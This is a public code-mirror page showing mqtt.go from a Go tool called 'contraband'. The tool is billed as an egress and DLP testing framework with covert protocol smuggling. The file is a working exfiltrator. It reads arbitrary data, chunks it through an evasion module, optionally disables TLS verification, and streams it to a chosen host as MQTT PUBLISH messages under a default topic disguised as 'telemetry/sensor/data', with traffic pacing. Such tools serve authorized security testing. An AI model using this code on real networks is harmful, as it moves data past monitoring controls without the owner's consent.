● Notice //GitHub (@shehzade) is temporarily suspended pending an automated false-positive review. All tools are hosted on this Code Mirror and available on request (contact); GitHub links will return once reinstated.
PUBLIC MIRRORGo v1.0

Multi-protocol network egress assessment and DLP verification framework featuring automated L4 sweeps, corporate proxy traversal, and covert protocol smuggling across 20+ channels.

$ git clone https://shehzade.io/repos/contraband.git Copy
Source ZIP (1.93 MB)
Code 174 Commits 1
contraband / pkg / client / exfil / covert / mqtt.go
← Back to directory
297 lines · 8.3 KB
Raw
1package covert
2
3import (
4 "bytes"
5 "context"
6 "crypto/sha256"
7 "crypto/tls"
8 "encoding/binary"
9 "encoding/hex"
10 "fmt"
11 "io"
12 "net"
13 "strconv"
14 "time"
15
16 "github.com/shehzade/contraband/pkg/client/evasion"
17 "github.com/shehzade/contraband/pkg/client/exfil"
18 "github.com/shehzade/contraband/pkg/common"
19)
20
21func init() {
22 exfil.RegisterExfiltrator(common.ProtoMQTT, NewMQTTExfiltrator())
23}
24
25// MQTTExfiltrator implements MQTT v3.1.1 CONNECT / PUBLISH QoS 1 / PUBACK streaming over TCP and TLS.
26type MQTTExfiltrator struct{}
27
28func NewMQTTExfiltrator() *MQTTExfiltrator {
29 return &MQTTExfiltrator{}
30}
31
32func (e *MQTTExfiltrator) Protocol() string {
33 return common.ProtoMQTT
34}
35
36// EncodeMQTTLength encodes variable length integer per MQTT v3.1.1 spec.
37func EncodeMQTTLength(length int) []byte {
38 var encoded []byte
39 for {
40 digit := byte(length % 128)
41 length = length / 128
42 if length > 0 {
43 digit |= 0x80
44 }
45 encoded = append(encoded, digit)
46 if length == 0 {
47 break
48 }
49 }
50 return encoded
51}
52
53// DecodeMQTTLength reads a variable length integer from an io.Reader.
54func DecodeMQTTLength(r io.Reader) (int, error) {
55 multiplier := 1
56 value := 0
57 buf := make([]byte, 1)
58 for {
59 if _, err := io.ReadFull(r, buf); err != nil {
60 return 0, err
61 }
62 digit := buf[0]
63 value += int(digit&0x7F) * multiplier
64 if (digit & 0x80) == 0 {
65 break
66 }
67 multiplier *= 128
68 if multiplier > 128*128*128 {
69 return 0, fmt.Errorf("malformed MQTT remaining length")
70 }
71 }
72 return value, nil
73}
74
75// BuildMQTTConnect creates an MQTT v3.1.1 CONNECT packet.
76func BuildMQTTConnect(clientID string) []byte {
77 var varHeader bytes.Buffer
78 varHeader.Write([]byte{0x00, 0x04, 'M', 'Q', 'T', 'T'}) // Protocol Name
79 varHeader.WriteByte(0x04) // Protocol Level v3.1.1
80 varHeader.WriteByte(0x02) // CleanSession = 1
81 varHeader.Write([]byte{0x00, 0x3C}) // KeepAlive = 60s
82
83 var payload bytes.Buffer
84 clientBytes := []byte(clientID)
85 binary.Write(&payload, binary.BigEndian, uint16(len(clientBytes)))
86 payload.Write(clientBytes)
87
88 totalLen := varHeader.Len() + payload.Len()
89 var packet bytes.Buffer
90 packet.WriteByte(0x10) // Packet Type: CONNECT
91 packet.Write(EncodeMQTTLength(totalLen))
92 packet.Write(varHeader.Bytes())
93 packet.Write(payload.Bytes())
94
95 return packet.Bytes()
96}
97
98// BuildMQTTPublish creates an MQTT v3.1.1 PUBLISH packet (QoS 0 or 1).
99func BuildMQTTPublish(topic string, packetID uint16, qos byte, payload []byte) []byte {
100 var varHeader bytes.Buffer
101 topicBytes := []byte(topic)
102 binary.Write(&varHeader, binary.BigEndian, uint16(len(topicBytes)))
103 varHeader.Write(topicBytes)
104
105 if qos > 0 {
106 binary.Write(&varHeader, binary.BigEndian, packetID)
107 }
108
109 totalLen := varHeader.Len() + len(payload)
110 var packet bytes.Buffer
111 headerByte := byte(0x30 | ((qos & 0x03) << 1)) // Type 3 (PUBLISH) + QoS
112 packet.WriteByte(headerByte)
113 packet.Write(EncodeMQTTLength(totalLen))
114 packet.Write(varHeader.Bytes())
115 packet.Write(payload)
116
117 return packet.Bytes()
118}
119
120// BuildMQTTDisconnect creates an MQTT DISCONNECT packet.
121func BuildMQTTDisconnect() []byte {
122 return []byte{0xE0, 0x00}
123}
124
125func (e *MQTTExfiltrator) Exfiltrate(ctx context.Context, reader io.Reader, opts exfil.ExfilOptions) (*common.ProbeResult, error) {
126 if err := opts.Validate(); err != nil {
127 return nil, err
128 }
129
130 start := time.Now().UTC()
131 result, err := common.NewProbeResult("exfil", e.Protocol(), opts.TargetHost, opts.TargetPort)
132 if err != nil {
133 return nil, err
134 }
135 result.Timestamps.StartTCP = start
136 result.PayloadType = opts.PayloadType
137 result.CarrierType = opts.CarrierType
138
139 payload, err := io.ReadAll(reader)
140 if err != nil {
141 return nil, fmt.Errorf("failed to read payload: %w", err)
142 }
143 result.TargetVolume = int64(len(payload))
144
145 if opts.ExpectedHash == "" {
146 h := sha256.Sum256(payload)
147 opts.ExpectedHash = hex.EncodeToString(h[:])
148 }
149 result.PayloadHash = opts.ExpectedHash
150
151 if opts.SessionToken.IsZero() {
152 tok, tokErr := common.NewSessionToken()
153 if tokErr != nil {
154 return nil, tokErr
155 }
156 opts.SessionToken = tok
157 }
158
159 chunks, err := evasion.ChunkPayload(payload, opts.SessionToken, opts.ChunkSize)
160 if err != nil {
161 return nil, fmt.Errorf("failed to chunk payload: %w", err)
162 }
163
164 targetAddr := net.JoinHostPort(opts.TargetHost, strconv.Itoa(opts.TargetPort))
165 useTLS := opts.UseTLS || opts.TargetPort == 8883
166
167 var conn net.Conn
168 var dialErr error
169 if useTLS {
170 tlsConf := &tls.Config{
171 ServerName: opts.TargetHost,
172 InsecureSkipVerify: opts.InsecureTLS,
173 }
174 d := &net.Dialer{Timeout: opts.Timeout}
175 conn, dialErr = tls.DialWithDialer(d, "tcp", targetAddr, tlsConf)
176 if dialErr == nil {
177 result.Timestamps.HandshakeTLS = time.Now().UTC()
178 }
179 } else {
180 d := net.Dialer{Timeout: opts.Timeout}
181 conn, dialErr = d.DialContext(ctx, "tcp", targetAddr)
182 }
183
184 if dialErr != nil {
185 result.Verdict = classifyCovertError(dialErr)
186 result.ErrorMessage = dialErr.Error()
187 calculateCovertDurations(&result)
188 return &result, dialErr
189 }
190 defer conn.Close()
191
192 result.Timestamps.ConnectedTCP = time.Now().UTC()
193 result.Timestamps.FirstByteSent = time.Now().UTC()
194
195 // Step 1: Send CONNECT
196 clientID := fmt.Sprintf("ctrb_%s", opts.SessionToken.String()[:8])
197 connPkt := BuildMQTTConnect(clientID)
198 if _, err := conn.Write(connPkt); err != nil {
199 result.Verdict = classifyCovertError(err)
200 result.ErrorMessage = fmt.Sprintf("failed to send MQTT CONNECT: %v", err)
201 calculateCovertDurations(&result)
202 return &result, err
203 }
204 result.BytesSent += int64(len(connPkt))
205
206 // Step 2: Read CONNACK (0x20, 0x02, returnCode, sessionPresent)
207 _ = conn.SetReadDeadline(time.Now().Add(opts.Timeout))
208 connack := make([]byte, 4)
209 if _, err := io.ReadFull(conn, connack); err != nil {
210 result.Verdict = classifyCovertError(err)
211 result.ErrorMessage = fmt.Sprintf("failed to read MQTT CONNACK: %v", err)
212 calculateCovertDurations(&result)
213 return &result, err
214 }
215 result.BytesRecv += 4
216
217 if connack[0] != 0x20 || connack[3] != 0x00 { // 0x00 = Connection Accepted
218 err := fmt.Errorf("MQTT connection refused by broker: code 0x%02X", connack[3])
219 result.Verdict = common.VerdictBlockedL7
220 result.ErrorMessage = err.Error()
221 calculateCovertDurations(&result)
222 return &result, err
223 }
224
225 topic := opts.Headers["topic"]
226 if topic == "" {
227 topic = "telemetry/sensor/data"
228 }
229
230 // Step 3: Stream Chunks via PUBLISH QoS 1
231 for i, chunkFrame := range chunks {
232 packetID := uint16(i + 1)
233
234 if opts.Shaper != nil {
235 if err := opts.Shaper.WaitN(ctx, len(chunkFrame)); err != nil {
236 result.Verdict = classifyCovertError(err)
237 result.ErrorMessage = err.Error()
238 calculateCovertDurations(&result)
239 return &result, err
240 }
241 }
242 if opts.Cadence != nil {
243 delay := opts.Cadence.NextDelay()
244 if delay > 0 {
245 select {
246 case <-time.After(delay):
247 case <-ctx.Done():
248 result.Verdict = classifyCovertError(ctx.Err())
249 result.ErrorMessage = ctx.Err().Error()
250 calculateCovertDurations(&result)
251 return &result, ctx.Err()
252 }
253 }
254 }
255
256 pubPkt := BuildMQTTPublish(topic, packetID, 1, chunkFrame)
257 if _, err := conn.Write(pubPkt); err != nil {
258 result.Verdict = classifyCovertError(err)
259 result.ErrorMessage = fmt.Sprintf("failed to send MQTT PUBLISH for chunk %d: %v", packetID, err)
260 calculateCovertDurations(&result)
261 return &result, err
262 }
263 result.BytesSent += int64(len(pubPkt))
264
265 // Read PUBACK (0x40, 0x02, pid_high, pid_low)
266 _ = conn.SetReadDeadline(time.Now().Add(opts.Timeout))
267 puback := make([]byte, 4)
268 if _, err := io.ReadFull(conn, puback); err != nil {
269 result.Verdict = classifyCovertError(err)
270 result.ErrorMessage = fmt.Sprintf("failed to read MQTT PUBACK for chunk %d: %v", packetID, err)
271 calculateCovertDurations(&result)
272 return &result, err
273 }
274 result.BytesRecv += 4
275
276 if puback[0] != 0x40 {
277 err := fmt.Errorf("unexpected MQTT packet type: 0x%02X (expected PUBACK 0x40)", puback[0])
278 result.Verdict = common.VerdictBlockedL7
279 result.ErrorMessage = err.Error()
280 calculateCovertDurations(&result)
281 return &result, err
282 }
283 }
284
285 // Step 4: Send DISCONNECT
286 discPkt := BuildMQTTDisconnect()
287 _, _ = conn.Write(discPkt)
288 result.BytesSent += int64(len(discPkt))
289
290 result.Timestamps.AckReceived = time.Now().UTC()
291 result.Timestamps.TeardownDone = time.Now().UTC()
292 result.Verdict = common.VerdictSuccess
293 result.RawEvidence = common.FormatBoundedRawEvidence(payload)
294 calculateCovertDurations(&result)
295
296 return &result, nil
297}